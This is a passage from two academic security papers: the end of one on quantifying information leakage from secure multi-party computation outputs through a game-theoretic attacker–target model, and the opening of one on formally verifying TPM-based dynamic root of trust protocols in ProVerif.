in order to measure the risk that

they would run if they entered a particular input xT ∈ DT given a potential set
of attackers A. However, in our model, targets are deemed to be honest parties
who shall neither collude nor share any information on their inputs. This kind
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Fig. 5. Influence that A has compared to a smaller A
′.

of inference would thus only be drawn by single targets T = {Pt}. Furthermore,
to the extent that the output of the computation does not matter, the targets
would also have an incentive to substitute their inputs in order to protect their
privacy. However, as the functions awaeA

T
and twaeA

T
can be calculated by every

party, we could further imagine that the attackers and the targets would not
choose the inputs that would directly minimise (or respectively maximise) the
entropy of XT after computation, but would have a strategy over their possible
inputs that would be the best response to its opponent’s expected choice. In the
following section, we propose a game-theoretic extension of this SMC context
where the payoff of each group of parties is given by the posterior entropy of XT.

6 Game Theoretic MPC

In this section, we define a two-player game based on the usual context of SMC
that could model the strategies that the participants of the protocol would follow
in order to control the information flows that may arise from this computation.

We consider the same formal setting as for an SMC protocol and we identify
the two players of the game as the set of attackers A and the set of targets
T. In order to play a game, the players have to choose an input xA ∈ DA and
xT ∈ DT respectively. A third set of inputs xS will be picked at random in
DS by a third party representing the spectators, and those three inputs will be
used to feed the secure computation of f(x1, · · · , xn) = o whose result o will be
publicly revealed. Once the result is broadcast, the participants in A, referred
to as ‘player’ A subsequently, will learn a certain amount of information on the
input xT of player T, that can be measured by the entropy of πA,xA

T,o , the posterior
distribution of XT, as calculated in the previous section. The aim for player A is
to maximise this information that he gains on XT whereas the aim for ‘player’
T is to minimise this information flow.
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Fig. 6. Payoff matrix for row player T.
Columns indicate attackers’ strategies.

Fig. 7. Row player T’s payoff matrix
from Example 4.

The payoff matrix for player T representing this two-player zero sum game
can be expressed as (jwaeA

T
(xA,xT))xA∈DA

xT∈DT

and can be written as in Fig. 6.

We can notice that this matrix is indeed the payoff matrix for row player T

in that the higher the value of jwaeA
T
, the better off player T is. Let us illustrate

such a game in a simple situation.

Example 4. Let us consider 3 sets of parties A = {X}, T = {Y } and S = {Z}
controlling the respective inputs x, y and z ranged in [[1, 4]]. Let us consider a
function f to be securely computed f(x, y, z) = 2xy − xz − yz. Based on Eq. (7)
of Definition 2, we draw player T’s payoff matrix in Fig. 7.

Strategy y = 2 for player T is dominated by strategy y = 1. Indeed, for all
x in [[1, 4]] we have jwaeA

T
(x, 2) ≤ jwaeA

T
(x, 1). Thus, player Y has no incentive

to play strategy y = 2 and will never play it. Similarly, strategy x = 4 is
dominated by strategy x = 3 for the player X since for all y in [[1, 4]] we have
jwaeA

T
(3, y) ≤ jwaeA

T
(4, y), and thus the attacker will never play strategy x = 4.

We can calculate the average weighted entropy for player X and player Y :

n twaeAT(n) awaeAT(n)

1 0.625 0.625

2 0.5 0.75

3 0.5 0.25

4 0.375 0.375

Based on the values of player Y ’s weighted average entropy, we could think
that player Y has an incentive to play y = 1 in order to maximise his posterior
entropy. Conversely, based on the values of awaeA

T
, we would say that attacker

X has an incentive to choose input x = 3 in order to minimise the expected
entropy of Y after computation. But if we look at the payoff matrix for target
Y displayed in Eq. (7), we can notice that these strategies (x = 1, y = 3) form
a Nash equilibrium in pure strategies [2]. This means that in this situation, not
only can the attacker learn as much information as possible on the target, but
this is also the best strategy he could play given player Y ’s strategy.

This formulation can help an attacker in a normal SMC context to rule out
some dominated strategies. Indeed, a deceitful attacker would never have an
incentive to choose an input that would always produce a higher entropy for XT.



Secure Multi-party Computation: Information Flow of Outputs 87

Similarly, the payoff matrix could also emphasise some inputs xT that would
be compromising for player T. Again, in a pure SMC context, a set of targets
T could precompute the risk that their input could be guessed and evaluate the
entropy that the observed output would leak about their input xT. They could
then accept or refuse to take part in an SMC protocol.

However, the targets would only be able to assess an estimate of the risk
that they run on average by supplying a certain input. The exact entropy that
a set of attackers would gain on xT can only be calculated once the output is
revealed, that is to say once xA, xT but also xS have been submitted to the
protocol. We could thus ideally imagine an SMC protocol that not only realises
perfect security with robustness against malicious adversaries, but which would
also be robust against deceitful adversaries. Such a protocol would only allow
those computations that guarantee that any information flow does not exceed
a certain threshold. Concretely, we could imagine an internal mechanism that
would lead the protocol to fail if the information flow associated with the given
combination of inputs is too high. An intuitive way of evaluating the information
flow IFlow associated to a given set of inputs would be to consider IFlow as a
function of the inputs, and to calculate it via an SMC protocol. We would then
have to consider the information flow that leaks from this new computation and
possibly iterate this process to attain some form of limit or fixed point.

Indeed, a failure of such an algorithm would of course prevent a risky output
to be calculated in a hazardous situation, but it would still reveal some informa-
tion about the combination of the three inputs xA, xT and xS [22]. In particular,
the attackers would learn that they are in a situation that makes the entropy of
XT lower than a given threshold. In order to prevent this kind of inference, we
could imagine a probabilistic algorithm that would fail with a certain probabil-
ity. In this case, if the algorithm terminates and returns an output, the latter is
guaranteed to preserve the privacy of the targets’ input up to a certain thresh-
old. On the other hand, if the protocol fails, it would not be obvious for the
attackers whether it is a probabilistic failure or one that gives some information
about xT. In such a probabilistic protocol, the privacy of xT would be enhanced
but the chances for the output to be calculated would decrease.

7 Discussion and Related Work

Quantitative Information Flow: In our paper, we used the notion of Shannon
entropy in order to measure the amount of information that an attacker learns
on some private inputs. However, this choice is debatable and it would be worth
studying the application of other entropy measures to our scenario. Indeed, dif-
ferent measures of entropy are more appropriate for assessing different security
concerns [6,35]. For example, Shannon entropy is unable to estimate or to give
an upper bound on the expected number of guesses [21,23], also known as the
guessing entropy or guesswork. Moreover, other security concerns cannot be
addressed by Shannon entropy, such as the probability of a secret to be guessed
in one try, also known as Bayes vulnerability [33]. Instead, the min-entropy,
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another instance of Rényi entropy, directly reflects this threat. Also, information
flow analysis can be shaped in order to measure a certain security requirement
thanks to the more general notion of g-leakage [25] where the desired security
property in question can be specified using a gain function. Our approach is
parametric in the choice of such an information-theoretic measure and so could,
in principle, support such alternative measures. This is subject to future work.

Input Substitution: We introduced in this paper the notion of deceitful adver-
saries who take advantage of information flow analysis in order to manipulate
the input that they provide to an SMC in such a way that they learn more infor-
mation on some targeted inputs. This deceitful behaviour is questionable and
might not be realistic in some applications of SMC. For example, in the case of
e-voting [26], the consequences of falsifying one’s input could be dramatic, and
therefore the notion of deceitful adversaries would not apply in this context.

However, SMC can also be used in other domains where the exactitude of
a single party’s input is less decisive than in e-voting. In particular, in data
mining [19], SMC can be applied to compute a statistical function averaged
over a population and whose output would not be affected by a slightly noisy
input. A deceitful adversary who cares about learning the correct output of the
function would still have an incentive to substitute his input, in that he will still
get a reasonable approximation of the output. Moreover, we can think of cases
where a negligible perturbation in the attackers’ inputs could trigger a significant
information flow. We could thus imagine that a deceitful adversary could benefit
from a larger information gain without affecting too much the integrity of the
result of the SMC. Example 1 features a situation where a perturbation of size
1 in the attacker’s input suffices to produce a high information leak.

We have seen that the correctness of the output should also be taken into
account by a deceitful adversary, reflecting what is at stake in a computation.
An adversary may also want to explore a trade-off between the information
that he gets from the output and the relevance of the output itself. SMC has
been used for example to implement an auction between Danish farmers [5]
while protecting the confidentiality of their bids and therefore of their individual
economic position. In such a situation, we could imagine using or extending the
notion of g-leakage in order to reflect the interest of a farmer to slightly deviate
from his legitimate bid with the aim of maximising his benefits while protecting
his personal details, or attacking someone else’s economic position.

Information Flow in Programs: Information flow analysis in imperative pro-
grams is a field that has been explored with many different approaches. One
of the fundamental concepts of this domain of study is the consideration of
security classes introduced by Denning [12], which enables us to classify the
variables of a program with respect to their level of privacy in order to form a
lattice of information. Based on this classification, type systems [36] and seman-
tic approaches [16] have been implemented in order to define the security of
instructions involving such variables. The most basic model considers only two
security classes L and H separating the variables with a low and high level
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of privacy respectively [12]. The security of a program is then expressed with
the notion of non-interference between both classes [13,32,36]. However, as pro-
grams in practice may contain some interference, other quantitative approaches
[8,9,20,28,34,37] have been proposed in order to measure the information flow
that can arise between variables from different security classes. The computa-
tion of such quantitative information flows also includes the use of probabilistic
instructions [16,24,32] that can randomise the algorithms and make programs
non-deterministic and thus in some cases protect the privacy of variables in H.

In our approach, we measure the information flow that can leak from the
observation of the output of an SMC computation and this echoes some of those
works on information flow analysis in programs. In comparison, we could identify
the target’s inputs of our setting to the higher security level class H whereas
both the attackers’ inputs xA and the output o would be added to the lower
security class L. The non-interference property would then be satisfied if the
posterior entropy of XT is equal to its prior entropy. We can also notice that
the role of the spectators in our work could be compared to those probabilistic
instructions in sequential programs. Indeed, the attackers only have a prior belief
on the spectators’ inputs, which hides the targets’ inputs and spreads their
posterior probability distribution once the output is revealed. Finally, our work
differs from the concepts of program analysis in that we do not measure the
information that leaks from every intermediate instruction or every step of a
loop in an imperative program. We only study the information flow that leaks
from the output of a public function. We may consider the latter as a functional
program whose computation is known to be secure, and is realised in practice
by an SMC protocol.

8 Conclusions

The notion of security of a protocol in secure multiparty computation ensures
that for all function f that needs to be computed, no information about the
inputs will leak, except from that which is leaked by the observation of the public
output. With respect to this notion of security, those protocols can securely
compute any function f that is composed of the supported operations of addition
and multiplication. This definition of security is thus independent of the function
that is being calculated. However, in practice, the participants of the secure
computation of f would not only like to make sure that no information leaks
from the protocol itself, but they would also like to know and minimise the risks
of information flow from public outputs of function f – regardless of the protocol
used to implement that computation. In this work, we analysed such risks.

We introduced the notion of deceitful adversary as well as a model of attack-
ers and targets that fits the setting of SMC. We modelled the agents’ beliefs by
probability distributions and we used Shannon entropy to measure the unpre-
dictability of the targets’ inputs under different circumstances. Based on this
modelling choice, we defined some measures awaeA

T
and twaeA

T
that can estimate

the information flow that would arise for a given pair of attackers’ and targets’
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inputs. We further explored the sensitivity of awaeA
T

with respect to the set of
attackers A and targets T. In particular we showed that several deceitful adver-
saries would generally have an incentive to collude and substitute their input
appropriately in order to optimise their gain.

We experimentally tested those measures on sample functions and demon-
strated that even for simple arithmetic functions, the values of awaeA

T
and twaeA

T

helps us to exhibit some non-trivial behaviours of the information flow that we
could not have predicted with logical inference or a semantic approach.

Finally, we showed through simple examples that those measures can guide
the attackers and targets through a choice of strategic, risk-aware inputs. This
naturally led us to consider a more general game-theoretic setting that could
model the risk management of participants of a secure multiparty computation.

It would be of interest to be able to develop similar results as Theorems 1
and 2 for the measure of twaeA

T
. This would enable us to better understand

how a target set could protect itself or better estimate the risks it faces. But,
our approach assumes that the beliefs of the participants on their opponents
are public. We would like to extend this simple setting to a multi-agent system
where those beliefs would be private to each group of participants, and could be
updated by the probabilistic analysis provided by those measures.

The notion of secure information flow of a function we studied can harden the
security of SMC protocols and it may be beneficial to include such probabilistic
analyses of information flow, based on the measures we defined, into existing
SMC protocols. Such modified protocols would ideally detect if a sensitive com-
bination of inputs is being examined, and would prevent such computations to
return. Those combined protocols would not only preserve the privacy of the
inputs inside the protocol, but would also contain inevitable information flow
within a reasonable range reflecting risk appetite or risk budget.
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Abstract. Automated verification of security protocols based on
dynamic root of trust, typically relying on protected hardware such as
TPM, involves several challenges that we address in this paper. We model
the semantics of trusted computing platforms (including CPU, TPM, OS,
and other essential components) and of associated protocols in a classi-
cal process calculus accepted by ProVerif. As part of the formalization
effort, we introduce new equational theories for representing TPM spe-
cific platform states and dynamically loaded programs.

Formal models for such an extensive set of features cannot be read-
ily handled by ProVerif, due especially to the search space generated by
unbounded extensions of TPM registers. In this context we introduce
a transformation of the TPM process, that simplifies the structure of
the search space for automated verification, while preserving the secu-
rity properties of interest. This allows to run ProVerif on our proposed
models, so we can derive automatically security guarantees for protocols
running in a dynamic root of trust context.

1 Introduction

A hardware root of trust, including dynamic measurement of programs and their
protected execution, is a promising concept for ensuring the integrity of a plat-
form and the privacy of sensitive data, despite powerful software attackers [19].
This relies on the idea that hardware is more difficult to compromise than soft-
ware, and therefore, it can play a crucial role in protocols for handling sensitive
data. When a secure computing platform is needed, a special sequence of instruc-
tions allows for a trusted piece of hardware to attest the integrity of the software
to be run and to give access to data in a protected environment.

However, turning this idea into a secure design and implementation is not
easy, as various attacks have shown [13,29]. For more assurance, one could use
models and tools that allow automated verification of desired properties against
trusted computing protocols and implementations. One main challenge for auto-
mated verification is the size and number of components involved in running
programs protected by a dynamic root of trust. Furthermore, messages of such
protocols consist not only of data, but also of programs that are to be executed
c© Springer-Verlag GmbH Germany 2017
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on the platform, and that can be supplied by an attacker or by an honest par-
ticipant. At the same time, modelling the platform configuration registers (PCR)
of the trusted platform module (TPM) [20] poses problems, because PCRs can
be extended an unbounded number of times. Even the most efficient symbolic
methods struggle with the structure of the resulting search space [6,12].

Our contributions. We propose a formal model in the ProVerif process calculus [7]
for the technology and for the security properties of a dynamic root of trust (as
instantiated by Intel’s Trusted Execution Technology or AMD’s Secure Virtual
Machine). Our model is more realistic than [12] and it covers aspects of trusted
computing that [10] does not cover (Sect. 4). We show how a platform state can
be naturally represented as a term in ProVerif (or applied pi-calculus [1,27]) and
how operations on the platform state can be expressed as equations in a term
algebra (Sects. 4.3 and 4.4). Furthermore, we show how to model the dynamic
loading of protected programs. Our model is simple and does not require heavy
encodings, being based on the classic idea of processes as data, with a twist to
take protection into account (Sect. 4.2).

We propose a new abstraction to model the extension of PCR registers that
allows automated verification for a larger class of protocols than in [12]. We show
how to over-approximate the model of the TPM such that the structure of the
search space is simplified, without losing possible attacks or introducing false
attacks. The main idea is that we can let the attacker set the PCR to any value,
as long as it is “big enough” (Sect. 5).

Putting the formalisation and the abstraction together, we obtain the first
automated verification for a realistic model of a dynamic root of trust. As security
properties, we prove code integrity (the PCR values correctly record the mea-
surement of the platform) and secrecy of sealed data (only a designated program
can access data that has been sealed for its use in a protected environment).

2 Related Work

A programming language and a logic for specifying trusted computing protocols
and properties are proposed in [10]. The setting is quite expressive and it allows
the analysis of protocols similar to the ones that we study in this paper. [10] does
not consider the seal/unseal functions of the TPM, but their language could be
extended to capture them. However, the formal analysis of [10] is manual, and
considering the complexity of the proofs involved, the lack of automation can
be a limitation. We also believe some of their axioms (like those linking the PCR
values to a late launch action) could be decomposed into more atomic formulas,
in closer relation to the computational platform. Their security properties include
correctly reading PCR values and the ability of honest parties to launch roots of
trust; our property of code integrity, modeled as a correspondence assertion, can
be seen as an additional constraint for these two events.

The analysis of [12] is automated with ProVerif and is based on a Horn clause
model. Microsoft’s Bitlocker protocol is shown to preserve the secrecy of data
sealed against a static sequence of PCR values. Their model considers a static
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root of trust, and cannot handle dynamically loaded programs. Furthermore,
there is no way to express a program that has access to data in a protected
environment. Without a richer model of platform states, code integrity properties
cannot be expressed either. To help with automation, [12] shows that, for a
specific class of Horn clauses, it is sound to bound the number of extensions
of PCR registers. Since our model is in applied pi-calculus and our security
properties are different, we cannot directly rely on their result, and we propose
a new way of handling the unbounded PCR extension problem.

Information-flow security and computational models. [14] presents a secure com-
piler for translating programs and policies into cryptographic implementations,
distributed on several machines equipped with TPMs. A computational model
capturing functionalities similar to ours, in conjunction with additional features
such as authenticated key exchange, was recently proposed in [5]. Our mod-
els are more abstract, yet could be related to particular implementations - a
closer connections between formal and computational models could be explored
in future.

Unbounded search space. Several works tackle the problem of an unbounded
search space for automated verification, but technically they are all based on
principles that cannot be translated to PCR registers. In [25], it is shown that,
for a class of Horn clauses, verification of protocols with unbounded lists can
be reduced to verification of protocols with lists containing a single element.
In [9], it is shown that to analyse routing protocols it is sufficient to consider
topologies with at most four nodes. These are strong results, based on the fact
that the elements of a list or the nodes in a route are handled uniformly by
the protocol. Similar results, in a different context, are shown in [15,16]. Their
reductions are based on the principle of data independence for memory stores.
In [22] and respectively [2], it is shown how to handle an unbounded number of
Diffie-Hellman exponentiations and respectively reencryptions in ProVerif. Sur-
prisingly, the underlying associative-commutative properties of Diffie-Hellman
help in [22], while [2] can rely on the fact that a re-encryption does not change
the semantics of a ciphertext. Another case where an unbounded number of
operations is problematic is file sharing [8]. In order to obtain an automated
proof, [8] assumes a bound on the number of access revocations, without provid-
ing justifications for soundness. A sound abstraction for an unbounded number
of revocations, in a more general setting, is proposed in [24]. Still, it is special-
ized to databases and it seems to rely on the same principle as several results
mentioned above: it does not matter what the data is, it only matters to what
set it belongs.

Tools and models for non-monotonic state. StatVerif [3] is aimed specifically
for the verification of protocols relying on non-monotonic states, encoding the
semantics of applied pi-calculus enriched with states into a set of Horn clauses
for input to ProVerif. Tamarin [28] is based on multiset rewriting and inherently
allows specification and automated reasoning for non-monotonic states, where
the set of facts can both augment and decrease. SAPIC [21] takes as input
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a stateful variant of applied pi-calculus and produces a multiset-based model,
which is then analysed using Tamarin.

StatVerif [3], SAPIC [21], and Tamarin directly [23], have been used with
success to verify security protocols that rely on non-monotonic states or trusted
hardware: PKCS�11 for key management [26], YubiKey for user authentication
[32], and protocols for contract signing [17]. Our models, on the other hand, are
tailored for direct input to ProVerif, while extending the scope of formal models
for platform state operations and dynamic root of trust protocols based on a
TPM [18–20]. It is one of our main interests for future work to see how the
models of this paper can be analysed with tools like [3,21,28], in order to obtain
a closer alignment with the state semantics of real systems.

3 Preliminaries

3.1 Trusted Computing

We first describe the required computing platform (hardware and software) and
then describe the considered class of dynamic root of trust protocols.

A. Computing platform. We consider a general purpose computing platform
equipped with a CPU and a TPM (both trusted), as well as a generic untrusted
operating system.

Trusted hardware. Trusted computing relies on the CPU and the TPM1 to per-
form certain operations whose integrity cannot be compromised by any software
attacker. Regarding the TPM, two of its trusted features are fundamental for the
applications that we consider in this paper: the ability to record a chain of values
in its platform configuration registers (PCR) and the ability to seal data against
specified values of the PCR.

The TPM allows the PCR to be reset only by the CPU or by a system reset.
On the other hand, the PCR can be extended with any value by software. If a
PCR records a value p and is extended with a value v, the new value of the PCR
is h((p, v)), i.e. the result of applying a hash function to the concatenation of p
and v. Crucially, these are the only two ways in which the values of a PCR can
be modified. The role of the PCR for the protocols that we consider in this paper
is to store the measurement of programs, recording a chain of loaded programs.
When data d is sealed against some specified value v of the PCR, the TPM stores
d internally and can release it in future only if the value recorded in its PCR
matches the value v against which d was sealed.

For the purpose of formal verification, we are flexible about who exactly of
the CPU or the TPM is doing a trusted operation, like measuring, sealing, etc.
This depends on the implementation, e.g., the Intel SGX can do all the oper-
ations of a TPM. Changing the formalization from this paper to fit a particular
implementation should be easy.

1 See recent book [4] detailing the TPM version 2.0 specification and implementations.
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Privileged software. When a system interrupt is triggered (e.g. by network com-
munication or user interface action), all physical memory can be accessed by
the system management interrupt (SMI) handler. This means that any memory
protection mechanism, in particular the protocols that we consider in this paper,
must either disable interrupts for their whole duration (not practical in general)
or else rely on the fact that the SMI handler cannot be compromised. That is
why the SMI handler is stored in a memory area called SMRAM, which enjoys spe-
cial hardware protection. Still, as shown in [13,29], the security guarantees of
trusted computing can be violated using the CPU caching mechanism to compro-
mise the SMI handler. Roughly, these attacks work because the protection of the
SMRAM is not carried on to its cached contents. A countermeasure against such
attacks, that we also adopt in this paper at an abstract level, is a software trans-
fer monitor (STM) [18]. It also resides in the SMRAM, but it cannot be cached while
a dynamic root of trust is running (special registers of the CPU should ensure
that), and its role is to protect some memory regions from the SMI handler.

Fig. 1. Execution flow in DRT

B. Dynamic root of trust.
We consider the technology of
dynamic measurement and pro-
tected execution, also called
dynamic root of trust (DRT),
as instantiated for example in
Intel’s Trusted Execution
Technology (TXT) or AMD
Secure Virtual Machine
(SVM), and as illustrated in
Fig. 1.

The goal of DRT is to
establish a protected execu-
tion environment for a pro-
gram, where private data can be
accessed without being leaked
to an attacker that controls
the operating system. Assume
a program, that we will call
PP (called measured launch
environment on Intel and secure kernel on AMD), needs to be loaded in a
protected environment. The first entry point of the DRT protocol is a trusted
instruction of the CPU (called GETSEC[SENTER] on Intel and SKINIT on AMD),
that takes as input the program PP. To help with the establishment of a pro-
tected environment, the CPU also receives as input another program, that we
will call INIT (called SINIT authenticated code module on Intel and secure
loader on AMD). The DRT launch and execution sequence can then be summarized
as follows:
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1. The CPU receives a request from the operating system containing the INIT
code and the PP code. The system interrupts are disabled at this step, as
an additional protection against untrusted interrupt handlers.

2–3. A software attacker that controls the operating system could compromise
INIT and the STM, and that is why the CPU computes their measurement and
extends the result into the TPM, to keep a trace of programs responsible for
the DRT. Measuring a program means applying a hash function to its source
code. This computation is performed on the CPU and is trusted, entailing
that the resulting value is a correct measurement of INIT and STM. The
CPU communicates with the TPM on a trusted channel and requests that the
PCR is reset and extended with the resulting value (h(INIT),h(STM)).

4–7. The INIT program is loaded and it computes the measurement of the PP
program, extending it into the PCR. The communication between INIT and
the TPM is performed on a private channel established by the CPU. INIT also
allocates protected memory for the execution of PP and loads it.

8. The PP program can re-enable interrupts once appropriate interrupt han-
dlers are set. Furthermore, it can now request the TPM to unseal data that
has been sealed against the current PCR value, and it can have access to
that data in a protected environment. The communication between PP and
the TPM is performed on a private channel established by the CPU.

9. Before ending its execution, the PP program extends the PCR with a dummy
value, to record that the platform state is not to be trusted any more.

Since the OS is untrusted it can supply malicious programs INIT and PP.
Therefore, INIT, PP and the STM are not trusted, but they are measured. If their
measurement does not correspond to some expected trusted values, this will be
recorded in the TPM and secret data will not be unsealed for this environment.

Security goals. Let us summarize the two main security goals of the DRT.

Code integrity: In any execution of the platform, if the measurements recorded
in the PCR value of the TPM correspond to the sequence of programs PINIT, PSTM,
PPP, then the platform is indeed running a DRT for the protected execution of
PPP in the context of PINIT and PSTM. In particular, this means that the programs
PPP, PINIT and PSTM cannot be modified while a DRT is running.

Secrecy of sealed data: Any secret data that is sealed only against a PCR value
recording the sequence of programs PINIT, PSTM, PPP, is only available for the
program PPP, in any execution of the platform.

3.2 ProVerif Process Calculus

We review ProVerif [6,7] and the special way in which we use (a restriction of)
its input calculus in our modelling.

A. Terms, equational theories and deducibility. We consider an infinite
set of names, a, b, c, k, n . . ., an infinite set of variables, x, y, z, . . . and a possibly
infinite set of function symbols F . Names and variables are terms; new terms
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are built by applying function symbols to names, variables and other terms.
We split F into two disjoint sets of public functions Fpub and private functions
Fpriv. Public functions can be applied by anyone to construct terms, including
the attacker, whereas private functions can be applied only as specified by the
protocol. When Fpriv is not explicit, we assume that all functions are public.

A substitution σ is a partial function from variables to terms. The replace-
ment of every variable x with xσ in a term T is denoted by Tσ. A context is a
term C[ ] that contains a special symbol in place of a subterm. For a context
C[ ] and a term T , we denote by C[T ] the term obtained by replacing with T in
C[ ]. For any formal object D, we denote by sig(D) the set of function symbols
appearing in D, and by top(T ) the outer-most function symbol in term T .

En equational theory E is defined by a set of rewrite rules U1 → V1, . . . , Un →
Vn, where U1, . . . , Un, V1, . . . , Vn are terms with variables. A term U rewrites to
V in one step, denoted by U → V , if there is a context C[ ], a substitution σ
and an index i ∈ {1, . . . , n} such that U = C[Uiσ] and V = C[Viσ]. Several
rewrite steps from U to V are denoted by U →∗ V . We consider only convergent
equational theories, i.e., for any term T there exists a unique non-reducible term
T↓ s.t. T →∗ T↓. We write U =E V iff U↓= V ↓. ProVerif also allows operations
on sequences: for all n, from any terms T1, . . . , Tn, one can derive the term
(T1, . . . , Tn), and conversely.

Deduction. Given an equational theory E , a set of terms S and a term T , the
ability of an attacker to obtain T from S is captured by the deduction relation
S �E T (or simply S � T when E is understood) defined as being true iff:

• there exists a term T ′ ∈ S such that T ′ =E T , or
• there are terms T1, . . . , Tn such that S �E T1, . . . , S �E Tn and a function

symbol f ∈ Fpub such that f(T1, . . . , Tn) =E T .

B. Processes and operational semantics. Processes of the calculus are built
according to Fig. 2. Replication spawns instances of a process: !P is formally
equivalent with P | !P . Names introduced by new are called bound or private;
they represent the creation of fresh data. Names that are not bound are called
free, or public. The term T in an input in(U, T ) allows to specify filters for
messages received on U : a message M will be accepted only if there is a sub-
stitution σ such that M = Tσ. A variable x is free in a process P if P neither
contains x in any of its input patterns nor does it contain any term evaluation
of the form x = T . Consecutive term evaluations can be written together as
let (x1, . . . , xn) = (T1, . . . , Tn) in P . The notions of substitution, contexts
and normal forms translate to processes as expected.

Operational semantics is defined as a transition system on configurations
of the form (N ,M,P), where: N is a set of fresh names created during the
execution of a process; M is the set of terms made available to the attacker; and
P is the set of processes executing in parallel at a given point in time. We write
(N ,M,P) →∗ (N ′,M′,P ′) if the configuration (N ′,M′,P ′) can be reached
from (N ,M,P) in zero or more executions steps. Such a sequence of execution
steps is called a trace of P .
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P,Q,R ::=
0 null process
P | Q parallel composition
!P replication
newn;P name restriction

in(U, T );P message input on U
out(U, T );P message output on U
if U = V then P else Q conditional
let x = T in P term evaluation

Fig. 2. Process algebra, with n a name, x a variable, and T,U, V terms.

C. Security properties. The ability of an attacker to learn a term T by inter-
acting with a process P is denoted by P |= Att(T ), defined as true iff there
exists a process Q, with sig(Q) ∩ Fpriv = ∅, such that (Ninit, ∅, {P | Q}) →∗

(N ′,M′,P ′) and M �E T , for some configuration (N ′,M′,P ′). Intuitively, Q
represents any computation that can be performed by the attacker.

A (simplified) correspondence assertion [7] is a formula of the form

Att(T ) =⇒ false or Att(T ) =⇒ (U = V ).

For a correspondence assertion Att(T ) =⇒ Φ as above, we have

P |= Att(T ) =⇒ Φ iff ∀σ. [ (P |= Att(Tσ)) =⇒ Φσ ]

Correspondence assertions of the first type model the secrecy of T , while
those of second type enforce the constraint U = V for deducible terms matching
the pattern T (typically the terms U, V will share variables with T ).

4 Formalisation

Our formal specification for the trusted computing platform and protocols
described in Sect. 3.1 assumes an attacker that controls the operating system
and can execute a DRT any number of times, with any INIT and PP programs.
Moreover, using the CPU cache, the attacker can compromise the STM and SMI
handler, and use them to access protected memory. The attacker has access to
all TPM functions. However, we assume that the attacker cannot compromise the
CPU nor the TPM, and that the platform state can only be modified according to
the equations that we present in Sect. 4.4.

We model a system state as a term that can be updated by the CPU process,
the TPM process and, once it has been output on a public channel, by the attacker.
Multiple system states can be explored in parallel by the attacker, whose knowl-
edge monotonically accumulates the set of all reachable states. This is an abstrac-
tion with respect to a real platform, where the CPU and the TPM have their own
internal state, part of a global, non-monotonic system state. We also have a
simplified model of TPM sealing: in reality, it relies on encryption with a TPM
private key and refers to a specific system state; in our model, it is represented by
the pair of public/private functions seal/unseal. For unsealing, the TPM process
will require the input of a system state and check that the corresponding unseal
request is valid for that state.
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4.1 Cryptographic Primitives and Platform Constants

To model cryptographic primitives and various constants on the platform state,
we consider the signature Fdata, where Fpriv

data = {unseal/2} and

Fpub
data = {ps/0, pd/0, true/0, false/0, h/1, senc/2, sdec/2, seal/2}.

We also consider the set of rewrite rules Edata:

sdec(senc(xval, xkey), xkey) → xval

unseal(seal(xval, xpcr), xpcr) → xval

The constant pd (resp. ps) represents the result of a dynamic (resp. static) PCR
reset. A dynamic reset marks the start of a dynamic root of trust, and can only
be performed by the CPU. The functions senc and sdec, and the corresponding
rewrite rule, model symmetric key encryption. The symbol h represents a hash
function. Anyone can seal a value, while the corresponding rewrite rule and the
fact that unseal is private ensure that a value can be unsealed only according
to the specification of the TPM.

4.2 Dynamically Loaded Programs

To model the fact that arbitrary programs can be dynamically loaded on the
platform state (e.g. for the roles of INIT and PP), we consider a new public
function symbol prog/1 and an infinite signature of private constants FP , con-
taining a different constant nP for every possible process P . Intuitively, the term
prog(nP ) is a public and unique identifier for the program P . In a computational
model, such an identifier can for example be obtained by hashing the source code
of P . The first action of a process that models a program will be to output the
corresponding program identity prog(nP ) on a public channel.

On the other hand, the constant nP represents a private entry point for
the program P . Specifically, we consider a private function get entry and the
rewrite rule get entry(prog(x)) → x. The idea is that a trusted loader of pro-
grams (the CPU in our case) has access to the private function get entry and,
using this rewrite rule, it can gain access to the private entry point of any pro-
gram. Now, nP can play the role of a private channel between the trusted loader
and the loaded program. Furthermore, we can store program identifiers in the
platform state, to record what programs are loaded. Then, we can rely on nP to
model the ability of certain loaded programs to affect the platform state (shown
in Sect. 4.4). We denote by Eprog the equational theory defined in this subsection:
Fprog = {prog/1} ∪ FP , Eprog = {get entry(prog(x)) → x}.

4.3 Platform State

To model a platform state, we consider the signature:

Fstate = {state/4, tpm/1, cpu/2, smram/2, drt/3}
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where all the symbols of Fstate are private. This ensures that a platform state
can be constructed or modified only according to the specification, relying on
equations that we present in Subsect. 4.4. Intuitively, a term of the form

state(tpm(TPCR), cpu(TINT, TCACHE), smram(TSTM, TSMIH), drt(TINIT, TPP, TLOCK))

represents a platform state where:

• TPCR is a term that represents the value of the PCR register of the TPM;
• TINT is the value of a register of the CPU showing if interrupts are enabled;
• TCACHE represents the contents of the CPU cache;
• TSMIH represents the program for the SMI handler and STM represents the STM

program, which are located in SMRAM;
• TLOCK is showing if a dynamic root of trust is running;
• TINIT represents the INIT program;
• TPP represents the protected program PP.

4.4 Read and Write Access

The read access is universal: any agent who has access to a platform state

state(tpm(TPCR), cpu(TINT, TCACHE), smram(TSTM, TSMIH), drt(TINIT, TPP, TLOCK))

can read any of its components relying on the public unary function symbols
Fread = {pcr, int, cache, stm, smi, init, pp, lock} and associated rewrite rules:

pcr(state(tpm(y), x1, x2, x3)) → y
int(state(x1, cpu(y1, y2), x2, x3)) → y1

cache(state(x1, cpu(y1, y2), x2, x3)) → y2

init(state(x1, x2, drt(y1, y2, y3), x3)) → y1

pp(state(x1, x2, drt(y1, y2, y3), x3)) → y2

lock(state(x1, x2, drt(y1, y2, y3), x3)) → y3

stm(state(x1, x2, x3, smram(y1, y2))) → y1

smi(state(x1, x2, x3, smram(y1, y2))) → y2

The write access to the platform state is restricted by the equational the-
ory described and illustrated in Fig. 3, where tpm acc and cpu acc are private
constants and all other new symbols are public.

PCR. Only the TPM can reset, extend or set the value of the PCR. This capability
of the TPM is modeled by the private constant tpm acc, which will be used
only in the TPM process, described later in Fig. 4.

INT. The interrupts can be enabled or disabled by the CPU, whose capability
is modeled by the private constant cpu acc. Additionally, if a DRT is run-
ning, then the corresponding protected program PP also has the ability
to enable or disable interrupts. This is modeled in the second set int
equation, by relying on the fact that, if prog(x) represents the public
identity of a program (as explained in Sect. 4.2), then x represents a
private entry point for that program. Therefore, we can use x to model
the ability of prog(x) to change certain elements of the platform state
when it is loaded.



Automated Verification of Dynamic Root of Trust Protocols 105

Fig. 3. Write access to the platform state.

CACHE. Any values can be cached. The cache values can then be copied into the
contents of the SMI handler and, when a DRT is not running, into the
